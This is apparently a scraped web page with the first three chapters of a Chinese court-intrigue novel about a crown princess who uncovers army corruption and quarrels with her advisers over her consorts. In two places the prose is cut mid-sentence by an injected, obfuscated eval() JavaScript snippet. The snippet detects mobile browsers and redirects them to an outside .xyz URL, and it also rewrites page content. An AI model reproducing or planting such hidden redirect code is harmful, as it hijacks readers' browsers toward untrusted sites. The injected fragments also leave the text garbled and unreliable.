《瞻云》 1. 第001章 六月季夏,晌午时分,上林苑中骄阳滚火,光若鎏金。 “咚!咚!咚!” 一通鼓起,西北方的兰田山半坡上玄鹤昆鸡振翅,大雁苍雕横飞,孔鸾凤鸟翱鸣。飞禽或跃立于山巅树梢,或腾冲上九天云霄 。随日影偏转,时时现出身姿。 “咚!咚!咚!” 二通鼓起,兰田山脚下兔羊狐鹿脱网飞掠,散入丛林;虎豹狮猿出笼,奔向林间。走兽纷纷,有体态矫如旋风者,尾巴扑扫草叶;有力大如山缓挪者,在丛林留下足迹。 上林苑豢养的禽兽出馆离笼,在一个时辰后,皆入预定范围。 “温大人,兰田山上一切安排妥当,殿下可随时入山行猎。”一卫士从山径策马而来,至对面半山腰的凉亭中复命。 亭中跽坐在席的少年名唤温颐,乃南阳温氏子弟,不久前兼领了东宫卫尉一职,掌屯兵,警卫东宫。 这日着一身玄色戎装,束发规整但未簪冠,当是午后要随太女殿下一同狩猎,衣冠从简。 他合上兰田山的地貌图,起身从长案拿了远观镜,至亭外眺望兰田山。 各点位的防守禁军、围猎禽兽的铁网栅栏、各方行猎的路径、所有的风吹草动再一次尽收眼底。 “大人放心,按照您的吩咐,花豹和洞狮这会都被赶到了山阴之地的柳庄亭一带。那处有驯兽奴乔装伏候,既不会扫了殿下兴致又可以防万一。”卫士随他出来,继续回话。 温颐往山上走了一路段,将对面整个柳庄亭重新观过。 夏日就要过去,万柳拂垂翠如碧波。山中风过,柳丝微摆,似涟漪轻漾,转眼平复如镜。 “冲!” “冲!” “杀!” 温颐却蹙着眉宇,心潮起伏,难以平静。直待身后传来震天声响,方回首望向南面的昆明池。 池上浮光跃金,千帆林立。 百余艨艟列于池西,船形狭长,航速极快。闻鼓声传令,分批向东驶去。 池东有龙首船泊岸,其高可与天相接。三层顶上展凤盖,竖华旌,迎风烈烈。二层楼中垂帘幔,有人端坐其后,十一冕旒轻晃。至下层甲板上,已经表演完的兵甲列队下船,新靠近的艨艟上则又送来一批兵士登船。 东西之间,水波汹涌,叠浪如雪。有走舸轻舟穿梭往来,六人一船,作以传信、侦察、维持秩序之用。 今日太女江瞻云在昆明池代帝阅兵,声势浩大。 此番入京受阅的有幽、并、徐、青四州兵甲,这会龙首船上被检阅的是最后一支青州军。 一千兵士分四次上船,已经完成军演的兵士校尉同新一批上船的校尉,数人间打着眼风。前者庆幸顺利过关,后者列队甲板,目光扫过龙首船二楼身影。 相距甚远,高数丈,即便随鼓声响起,罗纱帘幔缓缓打开,现出太女身姿,但储君尚有冕旒遮面,底下将士难以看清君颜。 看不清是好事,这意味着居高临下的太女也未必能看清甲板一举一动、细枝末节。 到底是女儿身,以往君主皇孙阅兵,哪个不是身披铠甲,骑跨战马,从受阅的队伍身前过,偶尔还会下场入队伍中,执刀握戟和战士们嘘寒问暖。 如今一介娇弱女流,唯有端起架子高□□座,唬人罢了。 甲板上的青州军自得又鄙夷。 这会得鼓声令,口号铿锵,呼进喊杀;又有征袍凛凛,甲光映日;配与手中新制的盾与矛,仿若当真是为百姓承重的脊梁,为社稷拓土的步伐。 士气,衣着,武器,体现军队雄姿的各处,此刻都毫无保留地呈现在龙首船上,落入少年储君的眼中。 一刻钟后,这批兵士表演结束,最后一批登上来。 一艘走舸在近龙首船畔停留,立于船头的少年目光灼灼盯看无人的艨艟水位线上升,载人的艨艟水位线下沉,起起伏伏。 午后艳阳高照,光耀在他挺拔的背脊上,略显单薄的后背左右肩胛骨张合,带动夏日衣袍,布帛悉索扯动,这并不是寻常呼吸可以做到的。 乃盛怒所致。 走舸入池心,混入群舟中。少年回来舱中,粼粼凤目睁阖,端茶灌下,扔盏在案。 “不知何事惹殿下生怒?”舱中陪侍的五人,为首一老者乃尚书令兼太女少师,温颐祖父温松。 “老师不知?”少年一副男儿貌,开口却是女儿声,正是储君江瞻云。她摇扇驱热,示意诸人同坐,“你们方才在舱中,难道不曾掀帘细观?” “还望殿下明示。” 少年盯望老者,笑道,“这个时候了,老师还不忘考孤!” “殿下心细如发。”温松颔首道,“说说吧。” “其他三州暂且不提,最后的青州军简直荒唐至极。边军既是奉命回京受阅,择健将,着新衣,执利刃,这等举措自然无甚挑剔。然我朝乃马背上得天下,历来军演受阅等同实战。新兵或许不懂,顶头的可都是身经百战的将领,他们不会不知战士上战场,最忌新衣不适,拖累拼杀;新靴不合,滞待冲锋。战场刀剑无眼,稍有差池性命危矣。军需处凡挑得衣物,都会提前下发,让将士们穿戴适应。然今日这受阅的一千青州军,人人着新衣,铠甲锃亮泛光,几欲晃了孤的眼……”江瞻云越说越恼,被怄笑道,“他们自个都被晃眼了。前后四批人,每批人中都有那么几个或因衣衫不合适、或因铠甲反光,导致出招不及不准,下盘不稳不实的。” “孤在想,可是青州边地将领见孤年少,特意为之来考验孤的?” 江瞻云的话停下,船舱内便随之静下,诸人面面相觑,沉默不语。 “衣袍之纰漏,孤且当他们是为了颜面。”舱中依旧无人应话,只有储君的话语愈发冷凝,“但是武器呢?怎会如此沉重不便?” 论及“武器”二字,诸人的面色有了细微的变化,舱中愈发静默。 “武器,如何?”终究还是温松再度开口。 江瞻云摇着小檀扇,冷笑道,“池上艨艟百余搜,其中载兵士上龙首船的的两艘,乃孤这数月里特意命人提前试重,在船身标了清晰的水位线。” “青州军被阅的一千兵甲入长安之前,个人功绩、特长、出身、躯体各数值都录于卷宗,孤独拎体重一项载于册。后择出其中最重的两百五十人,合以武器算之总重。” 江瞻云至此不再言语,唯有折扇轻摇,飘出香风阵阵,好整以暇看一众老臣。 诸臣逐一颔首,显然已经明白储君的意思。这日少年留假身于龙首船,自个却化妆儿郎混迹群舟之中,绝非贪玩胡闹。 参加受阅的兵士执兵器乘坐艨艟而来,船身自然下沉。 但二百五十位兵士连人带衣加之兵戈的辎重,即便是最大量,下沉水位线也该在船身第二道绿线起伏,可如今却远超绿线往上的蓝线,几欲达到最高处的红线。这个差距实在过大,唯一的解释是兵士手中兵器的分量超重了。 大魏立世百年,之所以能够在开国不久便统一东齐,南燕,收复东南十余小国,其中武器的革新功不可没。 也就是精钢坞的使用。 精钢坞制作的武器分量极轻,乃寻常钢铁所煅制刀剑的十中之三。运用于战场,尤其是水战,可让船只更轻便,也可让兵士多携兵刃。 如今却是兵器分量过重! “煅造兵器的考工令处,孤去岁已派三千卫调查,上月有了结果,配方安好,人员清白。” 诸人闻此,又是一惊。 所以这样分析下来,只有一种可能,问题不再朝中,乃在边地。青州军中,将领倒卖精钢坞兵器,然后锻造出劣质武器以自用,余费自贪。 将无战心,兵无利刃,可不就不堪一击吗?竟连区区高句丽都抵挡不住,三月里青州城被突袭至兵败求援的战报传回京畿,令人乍舌。 而今日光景,青州军定是将全部的精钢坞兵器都倒卖干净了,以至于入京受阅的兵甲,只能握寻常武器,连门面都装不了。概因是那处将领知天子沉疴已久,太女又是娇纵女郎,阅兵只是走个过场,大意了。 五位臣子眼风扫过,半为边将愠怒半为太女欣慰。 少顷,太尉穆辽开口,“那殿下接下来有何打算?可是要派人将青州将领押解回京?” “兹事体大,殿下还是先同陛下商议的好,这些人里有不少是同陛下一起征战过的,其中大部分是武安侯的部下,这一旦动起来……”光禄勋许蕤开口道。 “臣附议。”大司农封珩颔首道,“虽说去岁陛下已经将大半军政大事都交由殿下处理,但毕竟此事牵涉甚广,殿下三思。” 剩下御使大夫申屠临默了片刻后亦点头称是。 “父皇休养中,不宜叨扰。”江瞻云拢了小檀扇,扇尖有意无意地蹭过耳鬓,“两日前,庐江长公主已经奉命上路,将青州军八百石及其以上将领,秘密带回长安。今日之举,一来为验证青州军中贪污一事,二来是孤给诸位的答卷。” “诸位满意否?” 大魏是个很特殊的皇朝,百余年间历经四代帝王,出过两任女帝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068588|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实乃开国太祖膝下二子皆幼年而薨,不得已立长女为储君,便是后来开创“景璧之治”的文烈女帝。文烈女帝少时走失流浪,致体弱多病寿数难永,独子被害后,未再生育。而是建立育婴堂,收养弃婴,抛弃血脉传承,从中择体质康健者悉心培养,如此有了第三代靖明女帝。故而自靖明女帝起,后人实非江氏血脉,此乃皇室密辛,只为大魏历代帝王所知。 靖明女帝在君母安排下择益州薛氏子为皇夫,后育有一双儿女。皇朝历经两任女帝,已是女相女将立于朝野,朝中女官将近半数。若是能再延续一二代,女子地位或可发生根本性的变化。靖明女帝原本亦是立长女为储,乃隆麒皇太女。 许是彼时国业昌盛,朝中安定,隆麒皇太女骄而失稳,心为情困,毁婚于世代联姻的薛氏,竟与匈奴质子相恋,更应诺以“天下聘”,共享江山。如此举止论调传遍朝野,引臣民激愤,靖明女帝亲斩其于未央宫前殿,以平众怒。彼时女帝以至中年,后嗣难育,亦非所有人都能有文烈女帝之格局,养他人为子传做继承人。于是皇位传给了幼子,便是当今天子承华帝。 承华帝前半生可谓功在社稷,因长姐隆麒之故,谨遵母训十数年如一日,视匈奴为死敌,四征匈奴,终于在承华十八年,驱匈奴以祁连山以西,拓宽了疆域,平定北地边防。 功成之后,扬名四海的天子开始狂妄起来,行事多独裁,少纳谏。然相比这些,其中承华廿年废出长达五十余年的女官制度乃其做得最出格的一桩事,却为群臣拥护。毕竟即便皇朝出了两任女帝,到底更长久的千百年都是男主天下。 定国改制,功业有成,于承华帝本该是荣耀又自满的一生。却不想废官改制后的翌年,太子狩猎坠马而亡,同年冬刚及冠的阴平王染风寒不治离世,转年十五岁的豫章王染天花而薨。至此,承华帝膝下六子一女,三子死于战场,三子接连薨逝,唯剩公主江瞻云。即便如此,他也未想将江山交给她。又一年,徐贵妃临盆,一尸两命。已过天命的承华帝终于害怕,疑是自己废弃女官制,惹怒君母,愧对先祖,方被惩罚至此。遂力排众议,立年仅十岁的公主江瞻云为储君,八年来悉心教养。 只是如此权柄重落女子手中,朝臣多有不甘,承华帝方择了以温松为首的五位股肱之臣辅弼少主。 今日,江瞻云这一问,方由此而来。 储君天资聪慧,行事雷霆缜密。 诸臣自是满意。 “今日事不传第七人,都退下吧。”江瞻云摇着小檀扇,一侧扇头已是数次忍不住划过鬓角。 然温松走在最后,去而又返。 眼见接储君的走舸正缓缓驶来,船上划桨的少年眉目无双,吹箫的儿郎风姿俊逸,江瞻云立在船头与他们展颜,分了一点余光给尊师。 “老师还有何事要叮嘱?” “乃驸马一事。三月里您大婚,当夜青州战败的急报传来,驸马连夜赶赴。如今已经成功退敌,还请殿下召驸马回朝,侍奉您左右。” 江瞻云看他一眼,笑道,“他乃向父皇请的命,孤何来权利召他回京?再者,他喜欢边地不喜京畿,孤成全他便是。” “殿下此言差矣。”温松拱手道,“自靖明女帝联姻薛氏子开始,薛家儿郎或为驸马或为皇夫,皆为女君之护身符,不离左右。臣知晓殿下不喜驸马,然君者何论情爱,自当利益为上。益州薛氏,殿下正需用之。” “老师这些话,与其劝孤不若去劝驸马,是他自己请命离开而非孤将他赶出长安。”江瞻云已不看温松,目光全在即将靠近的另一艘走舸上,摸着鬓角嚷道,“杜衡来了没,让他滚上来,孤要痒死了!” 温松阖目而叹,“再一桩便是这处,按理殿下内帏之事,老臣不该多言。但殿下如今是储君了,不是寻常公主,还是要以保养玉体为重……” “老师既然提到孤内帏处,孤正好有一事要同你说。”箫声缭绕的走舸就要靠过来,江瞻云眉眼柔柔,皆是欢色,“孤晓得老师的好意,恐他们一味奉承讨好,恐孤不知节制沉迷其中,身边没个端庄持重的人照料。” “老臣不敢。” “这有何敢不敢,您所虑正是。” 船已抛锚泊下,箫声止歇。一少年从舱中走出,踏上这处的甲板,接过储君手中檀扇,还不忘同温松点头致礼,后一边打扇一边引路。 江瞻云搭着他手腕,登上走舸,转身对温松道,“温颐,你的长孙,孤的师兄,长安名门公子的典范,最是端庄持重之人。孤向您要了他,让他常伴孤之左右。” 2. 第002章 【雷震震,电耀耀。明德乡,治本约。治本约,泽弘大。加被宠,咸相保。德施大,世曼寿……】(1) 长扬宫,储君在上林苑的下榻处。 这会殿里鼓瑟笙箫正开宴。 琵琶女冰弦撞铁,肃穆铿锵的曲调的里流淌出婉转缠绵之音;舞姬立盘上,足尖击鼓面,细腰素手流云袖,旋转颠倒天地间。 冰雾缭绕,夏日幽冷;曲不成调,舞者见袖不见姿。殿如海上琼楼,人似天上仙娥。 近了,才知乃室中央置一樽三尺高的青铜蟠龙冰鉴,八方龙口喷吐寒烟冷雾。又因太女归来,命人将四方角上的兽形冰鉴一并开启纳凉,方有此像。 此刻,宫人正从中央的青铜冰鉴中捧出各色酒水膳食,奉给左右观赏歌舞的众公子。 然歌舞虽盛,参宴者却多来无心欣赏,或时不时侧首眺望,或以余光偷观,或索性双目灼灼……望向阶陛高台、罗纱帘幔后。 江瞻云幼时在上林苑长大,生性肆意,交友全凭性情,不拘男女。十五及笄时已经做了五年储君,内帏多儿郎。幼年玩伴,豪族公子,江湖教坊各路门客,皆有之。平素常与之纵情宴饮。 只是近大半年来,一则天子病体沉疴,几番发病,她侍奉左右;二来为查朝中贪污事宜,她遣调人手布局,分身乏术;三来为婚事,多番为少府卿、宗正处围堵。如此诸事缠身,便已许久不曾过来看望他们。 这厢借夏苗军演之际,方与之同乐。 诸人也想她,奈何冰雾如团云遮目,帘幔上云母琉璃反光,根本看不见后头人影。 “都下去!”右侧第三位上的少年名唤齐尚,原是最早侍奉江瞻云的人,这会夺了琵琶女的的琵琶,按弦压声,谴退一众歌舞姬。 殿中静下,唯听他琵琶声声响起。 于是又一位少年铺盏在案,倒水盏中,持箸击盏以和音。 很快,数人默契离案出席,覆面具披玄甲,持矛握弓,纵身折腰,作巴渝舞。 【磑磑即即,师象山则。乌呼孝哉,案抚戎国。蛮夷竭欢,象来致福。兼临是爱,终无兵革……】(2) 又有左侧儿郎星眸半睁,展喉高歌助兴。 帘幔在云雾之中轻晃,罗纱上碎玉珠翠幽幽闪光。 “好了没?”江瞻云半倚在矮榻,手中比划着卢瑛的玉箫,闻外头动静,抬脚踢了踢杜衡,“痒死了。” “就是,我俩还等殿下玩六博呢!”宋安同卢瑛席地坐于江瞻云下首,正在摆放博具。 卢瑛接回玉箫搁在一旁,捡起小檀扇给女郎打风,闻耳畔琴声走音,不由往外头看了眼,“再过会,齐尚就要哭了。” 话落,陪侍的三人一同笑起。 “殿下稍安,就好了!”杜衡已将江瞻云面上皮具清除干净,只需最后用五味子粉兑水,将面上粘黏皮具的鱼胶清洗干净便可。 “早知殿下要戴这般许久,臣定不给您使用,这皮具乃兽皮泡药打磨,到底不比人体本身的皮肤,且鱼胶不可久用,易伤肌肤。要是长时间使用,或许牛皮胶更好。” 鱼胶除净,现出一张洗净铅华的脸。 江瞻云称不上绝色,但宽额广颐,面若银月。尤其一双丹凤眼,上下两片浓密长睫含住乌黑眸子,含不住锐利眸光。偏她又爱笑,三分娇嗔分去了眼神的峰冷,自成一段水墨疏朗的风韵姿容。 “即是牛皮胶好用,你管殿下用多久,自给殿下最好的。这厢给殿下折腾这样久。”宋安不满道。 江瞻云从卢瑛手中抽回小檀扇,以足点宋安,“去把帘子撤了,你俩先下一盘。” 二人欢声应是。 “方才宋郎说的正是,你有好的,怎不给孤用?” 杜衡坐在榻畔,以玉颜玲珑粉给她敷面,“但凡有好的,岂有不给殿下用的道理。臣说的牛皮胶面具,乃臣的设想,还在研制中。左右是挡光防晒,殿下戴帷帽便是,今个何事劳您戴此面具?” 他最后的话落下,卢瑛铺排六博的手僵住,抬眸不安地望向他。杜衡得他一眼,顿时反应过来,一下跪在了榻畔,“臣多言了,殿下恕罪。” 江瞻云阖眼揉着太阳穴,一时并无反应。 “殿下——”杜衡嗓音发颤,“臣就是话赶话,绝无他意,臣……殿下开恩!” 他们虽在上林苑,但多少也闻得风声。如今正值朝中严查贪污之际,此番夏苗储君代帝阅军,多半还带着旁的任务。尤其是需要换妆私服而行,便是更不能为外人道也。 江瞻云睁开眼,手中扇头从他面庞,耳鬓、脖颈一路滑过,最后在脖颈青筋上停下,施力戳去,垂眸看他手中一盒新制的珍珠粉,香滑细腻。 扇头力气愈重,杜衡跪身不得后仰,面色慢慢发白,已近窒息,珍珠粉就要从手中洒落。 “你但凡没有这个手艺——”少女摇开扇子,“回自己院子,日头下跪上两个时辰。” “谢、谢殿下。”杜衡吓得不轻,口中干涩,一时竟启口艰难,唯有大颗汗珠滚落下来。 不怪他如此反应,实乃上一个长扬宫中意欲探听储君行径举止的人,是按细作处理,施以的“马刑”。 所谓“马刑”,乃将人缚手捆绑,以马拖行,马群随行。马群由御马官控制速度,可随时踩脖踏头致残致死;亦可拉开距离容他性命。受刑者则为前马拖行,目光所及万马跟随如阎罗急追。纵是闭眼不看,马蹄声如黑白无常勾魂声仍在。神识清醒却眼见身体皮肉磨去,白骨渐显渐断,鲜血越来越干……乃身体和心理双重折磨。 这本是御史台拷问疑犯的刑罚之一。江瞻云偶然看到,用在了这处的儿郎身上。 不同的是,她无需他招供甚,她只需杀一儆百。 于是,那日天马一如往常,天地间驰骋。只是茫茫草原上弥漫血腥气,从晨曦到日落少年郎皮肉和尘泥,血染青草间,最后稀薄月光下就剩得一副残缺不全的白骨骷髅。 “管不好自个的嘴,此番孤就不带你回宫了。”江瞻云挥了挥手,示意他退下。 杜衡转眼失宠。 丈地外,宋安已经带人挂好帘幔,日光携冰冷雾气铺洒过来,待杜衡离开方小心翼翼开口,“那敢问殿下,我们何时能随您回宫啊?” “明日。” “明日夏苗毕,我们就能去未央宫吗?”一时间,连一贯沉稳的卢瑛亦不由激动起来。 “没错,孤此番前来,就是带你们回未央宫,入明光殿的。”江瞻云话落,四下沸腾起来,又齐齐跪身谢恩。 “都起身吧,今日最后一日在林中,孤与你们还同往日一般自在。来日入了宫,规矩多,便看你们各自造化了。” 只要知情识趣,管好自个口舌,殿下待他们从来君恩深重。 诸人谢过,殿中彻底松快欢腾起来。 齐尚将琵琶换了箜篌,又从箜篌奏到古琴。 曲调亦从夜半月色的温柔,转到九天瀑布飞流的激烈,未几又是骏马腾腾过草原,过洼地,过险峰、过心坎……听得原本席地而坐观宋卢二人对弈的江瞻云眉宇颦蹙,忍不住随手拾了竹箸掷去,“发什么昏,错了几个音了?” 齐尚不避不让,素指挑拨琴弦,一曲《鹿鸣》还未过半,又错两音。 曲有误,周郎顾,换了性别也是一样的。 “上来。”江瞻云再忍不住,撑额发笑。 齐尚这才长眉微挑,步上高台,神情倨傲地扫过太女左边剥葡萄的少年。少年只当未见,将剥好的葡萄奉给主上。 “少欺负人家,没位置给你吗?贺郎就比你直率,孤帘子一掀就自个跑来了。”江瞻云拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068589|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍右侧的空位,“你过来给孤篦发。” 齐尚闻“篦发”二字,这才有所展颜。从侍妆宫人盘中取了玉篦,挺直背脊跽坐在侧,梳理逶地青丝,“殿下觉得如何,可舒缓些?” “手艺又精进了。”江瞻云目光落在六博上,看出了卢瑛布局的意图,从宋安手中将剩余博箸一把抓来,略一凝神,投箸入琼,竟是六箸皆白,为“五白”采。 周遭一阵欢呼。 于是,宋安的散旗变枭旗,切入“高”道,直逼卢瑛“水”部,顷刻间扭转局势,反客为主。 “没殿下帮衬,你都不知死几回了。”卢瑛嗤笑。 “那谁让我有殿下的!”宋安捧了盏茶喂给江瞻云。 …… 二人理棋重开。 “这段时日,孤七八个月没来,你领着他们再此编舞练曲,修养身心,很好。”江瞻云阖着眼眸,舒缓神经。 “殿下既念臣的好,可否赏臣些什么?” 江瞻云今个做男装打扮,簪了一枚云纹滚金的一字云鹤簪。雕纹古朴大气,簪身冷金流溢。 齐尚已将半散的青丝梳透,这会正欲为她解髻,伸手抚摸。 “要甚去私库取,这支不能给你。”江瞻云后脑微仰贴在他掌中,樱口衔住了左手少年喂来的葡萄。 “库里珍宝自是稀贵,但无殿□□温气味,臣就想要个特殊的。” 江瞻云眼角溢出笑,睫羽似蝶翼掀起,扭头半搂住他脖颈,按下他脑袋,将还未入口的葡萄渡了过去。却又未容他唇齿来接,自己捏住了葡萄,扯开他衣襟,捻在他脖颈锁骨处。霎那间,甜香扑鼻,肉烂汁溢,淋漓淌过她指间,濡湿他襟口。 她将手指喂入他口中,“甜否?特殊否?” 齐尚颔首,吻少女五指。 “好好梳头。”江瞻云剜他一眼,素手伸去,侍者端盆捧巾上来盥洗。 “奴来!”贺茗不满葡萄被喂给了齐尚,争先上来托起少女的手,“奴也要吃。” 江瞻云反手扣住他,两只手一起入盆中,指间弹起,激了少年一脸水。 少年想起前岁汤泉共浴,女郎也是这般扬了他一脸,对着他咯咯笑起,顿时红了面庞,半点恼意都没了。 “那劳殿下给奴擦一擦!”少年蹭在她怀袖间,话这般说着手下功夫却了得,娴熟地按揉筋骨。 江瞻云揉了揉他脑袋,喂给他半盏饮剩的醴浆(3)。 殿中冷雾团团,丝竹声声,君臣酒酣情纵,笑意欢腾。江瞻云枕在齐尚腿上,足被贺茗捧在手中揉捏。 卢、宋二人还在拼杀,缠着少主下注,赌他们哪个会赢。 台下诸人也喝得东倒西歪,有趁兴高歌者,有弹琴助兴者……一派靡音丽影。 “殿下恕罪!” 一记突兀的告罪声在此时响起。 江瞻云半睁眼眸往下看去,问那跪首的儿郎,何罪之有。 儿郎慢慢抬起头,目光挪向身侧的席案。 案几大幅度偏移了位置,四方席子一角翻起,席面更是被洒了酒渍。 此乃左边第一席,是驸马的位置。虽人不在不必奉肴,但位序不可废,凡宴饮自要留座。这会显然是诸人兴致高昂,这人离席纵酒,撞倒了驸马位,弄脏了地方,实乃大不敬。 “你是故意的吗?”江瞻云问。 “奴怎敢故意,奴多饮了酒,手足不稳,又见殿下回殿,心中激动,方才、才……” “那少饮些就是了。”江瞻云温声安慰,“无心之失,恕你无罪,回席吧。” “谢殿下。” “殿下不可轻纵——” 两个声音接连响起,后者从外踏入殿来。 诸人闻声望去,正是将将部署完兰田山狩猎场归来的东宫卫尉,温颐。 3. 第003章 “殿下,此人即便是无心之失,也属行为不端。侍奉君者,言行要谨,举止要慎,‘谨慎’二字该时时悬于头顶。纵是宴饮之时,也该心怀尺度,手足有序。” “退一步说,乃殿下恩德,许他们今日畅饮。他们可离席,可劝饮,但也当在三座之内,同列之间。而他之座位乃在右列第七位,竟能掀翻左列第一位的驸马席案,将酒泼洒其间,可见举止毫无尺度,放浪至极。今日其人之举,虽在殿下别院发生,殿下仁厚大事化小,小事化了,但这般不拘束自己行径者,来日入东宫,莫说指望他对主上行劝谏之责,怕是只会遗祸主上……” 江瞻云背靠矮榻,手中一柄小檀扇有一搭没一搭地扣击地面。定定望向阶陛下义正言辞的男人,耳畔声声都是他片刻前所说的话。 “殿、殿下……” 犯错者颤颤求饶, “殿下!”欲罚者咄咄逼人。 “除卫尉外都退下。”江瞻云瞧了半晌,目光有些游离,忽就眉宇生笑,阖了眼眸, 众公子应诺跪安,脚步声轻而齐。须臾,待衣帛悉索声,环佩叮当声都渐渐远去,殿中半点声音全无,江瞻云方睁开了眼。 今日还有事,她不曾饮酒,但有些乏了,神思不聚。以至于青铜蟠龙冰鉴中的寒雾升腾弥漫,隔在两人中央,让她半睁半阖的视线有些模糊起来。 尤其是殿中少年的话还在耳际萦绕。 尤其是从来温厚清贵的人难得生了愠怒。 寒雾渐浓,殿门口寸步不离的三千卫成为背景,玄甲黑压似半山植被,显得殿中男儿如青松。江瞻云看出了重影,唇齿间滚出一个名字,“薛御河……” 殿中针落可闻,温颐抬眸看她。 四目撞上,少女丹凤眼中映出一双温润眸子,比薛壑鹰眼冷厉要耐看许多。 “孤耳根子好不容易清净了两日,师兄是被薛壑上了身还是勾了魂,也同他一般啰嗦!你在东宫上任,不在御史台办差。” 薛壑入京,领的是御史台的职位,意在监察百官,谏匡人君。然监察百官的职责和权力,御史台清正殿中写得明明白白,经百年修缮,更是从中央到地方,皆清晰可考。然对人君的劝谏,虽有基本成行的条文,但细节处朝朝更改,代代不同。尤其是女君临朝,本就稀少,条文法典自然也就少了许多。 年轻的御史,入京之后,花了一年功夫修化细节,整理成册。 方才温颐所言的诸如“宴饮之时,该心怀尺度,手足有序”、“离席劝饮,当在三座之内,同列之间”便是出自薛壑所著的劝谏君主行乐篇中的《上君宴饮其二之臣下陪侍篇》。 著作成篇,卷宗奉到东宫时,江瞻云一目十行阅过,直接掷于其足下,拂袖离去。薛壑无话,弯腰捡起,翌日再谏,不得君纳,遂三日修而又谏……直到江瞻云再不扔开,方回去御史台,命侍御史正式修纂成文。 薛壑则另抄一册,置于明光殿书房中,作为太女省身书典之一,令人三日读诵一回。江瞻云虽从来不理,但日久天长多少记得一些内容,今日从温颐口中闻来,方才苦笑不已。 薛壑简直阴魂不散。 温颐闻言愠色更深,又不得发作,无奈深吸了口气,“驸马在京之际,确托于臣,道是臣与殿下亲近,让臣多劝殿下。殿下之身非己身,肩要担万钧,当减娱乐,少纵兴,养体魄,修性情。” 江瞻云向他招手,命人往前一步,灼灼凤目上下打量,“你们挺要好啊!私下饮过酒,还是品过茶?” 温颐经不住她看,气势矮了三分,“臣乃一心为殿下考虑。” “师兄若也要说这些车轱辘的话,那便也退去吧。”江瞻云敲着扇子,哼声冷笑,“孤不过偷得浮生半日闲,不至于被耳提面命。” 温颐垂下头。 殿中彻底静下。 唯有滴漏声声,寒雾腾腾。 许久之后,响起一阵脚步声。 从殿中参拜处走向阶陛,再踏上九阶,很短的一段路,但温颐走得缓慢、犹豫、小心翼翼,走了很长一段时间。 最后在高台边缘、距离江瞻云半丈之地跽坐下来。 “你要赛马,是我递的缰;要饮酒,是我备好醒酒汤;哪怕是收人入室,我也不曾阻过你,有些还是我荐给你的。我知你有分寸,怡情罢了。我说为你好……”温颐环顾四下,声音更轻了,“这回来此,你可是决定要把这处的人都带回明光殿?” 温颐人如其名,温和,好涵养。私下说话温沉亲和,事事如她愿。 江瞻云很受用。 “当然,之前就与父皇说好的,孤大婚后接他们入明光殿。”她用扇尖点了点身边的位置,“师兄问这作甚?” 温颐起身坐过去,但还是保持了一臂距离,顿了片刻似是下了很大的决心方启口,“还是再缓缓吧!” “这是谁的意思?”江瞻云感到莫名,“谁让你来说这话的?父皇还是御史台?” “是臣自己的意思。” 殿宇深阔,寒烟冷雾缭绕,从菱花窗牖撒入的日光格外稀薄,铺陈一地碎花,少年男女坐在高台一角,日影中小小一团,瞧着很是亲厚。 “若是驸马如今在京畿,与殿下琴瑟和鸣,殿下将婚前侍郎迁入寝宫,自然无甚可言。既彰显驸马气量,又是殿下的恩德。但眼下驸马离京,还是在和您大婚当夜离开,虽说是因公调离,但……”温颐瞧着江瞻云神色,“军务再急,朝中有的是良将,何劳洞房中的驸马!那晚,你们吵架了是不是、他是被你气走的?” 最后话的出口,是往昔近十年一同长大、旁人不可比拟的亲近。 “那晚就是他故意找茬,不阴不阳地说了一席话,尽挑孤内侍的不是……” 江瞻云长眉挑起,回想大婚当晚,至今她都不知薛壑为何生气,“今个孤难得开怀,不提也罢!” 她展颜一笑,眼尾微扬,抬手欲拨下发上金簪,“孤有桩喜事同师兄说。” “等等,还是臣先说。”因女郎抬臂间,广袖轻摆,香风萦绕,温颐抑制心跳、屏息后仰,“臣想问问,驸马挑拣您的内侍,可是要求您散了他们?亦或者不许入明光殿?” “那倒没有!且不论历代女君都有后廷内侍,他还不至于如此张狂自负。再者孤已经给足他颜面,答应在与他大婚前不迁内侍入殿。” 论及此处,江瞻云站起身子,负手立于临窗的位置,隔菱花窗牖眺望远方天际,眸色中多出两分不甘,“若非念着父皇病重,恐忤他意惹他动气,孤怎么都会辨上一辨。薛氏再尊贵,也是臣子。孤堂堂一个储君,在迎他之前纳些内侍,哪里就是不敬重他了?你们男子娶妻之前,有的是通房妾室,也没听说哪个会把她们置在外头,等迎了新妇入门再把她们接回来的。怎到了孤这处,就这般条条框框,这般憋屈了?” “因为时势比人强。”温颐换了跽坐的姿势,抬首仰望女郎脊背,“因为您是女儿身,虽说我朝出过两任女君,但后又归男帝,如今女君复起,前路漫漫来日艰辛不亚于初代女君时。眼下朝中两桩大事,一乃官员贪污,二则边军不宁,若是抽丝剥茧去查,许会涉及宗亲。宗亲之中,殿下同辈者唯余您一人,然您子侄辈,阴平王和琅琊王之遗孤皆尚在,且都是儿郎,稍有不慎……” 后面的话不言而喻,温颐也不敢宣之于口,只点要害,“唯有益州薛氏,百年来忠君不分男女,祖上护佑过男帝,拥立过女君,又世代尚主,手掌兵权,殿下需要他。” 江瞻云回首看他。 “东宫幕僚无数,文武皆备,殿下当是明白此间利害。”温颐补充道。 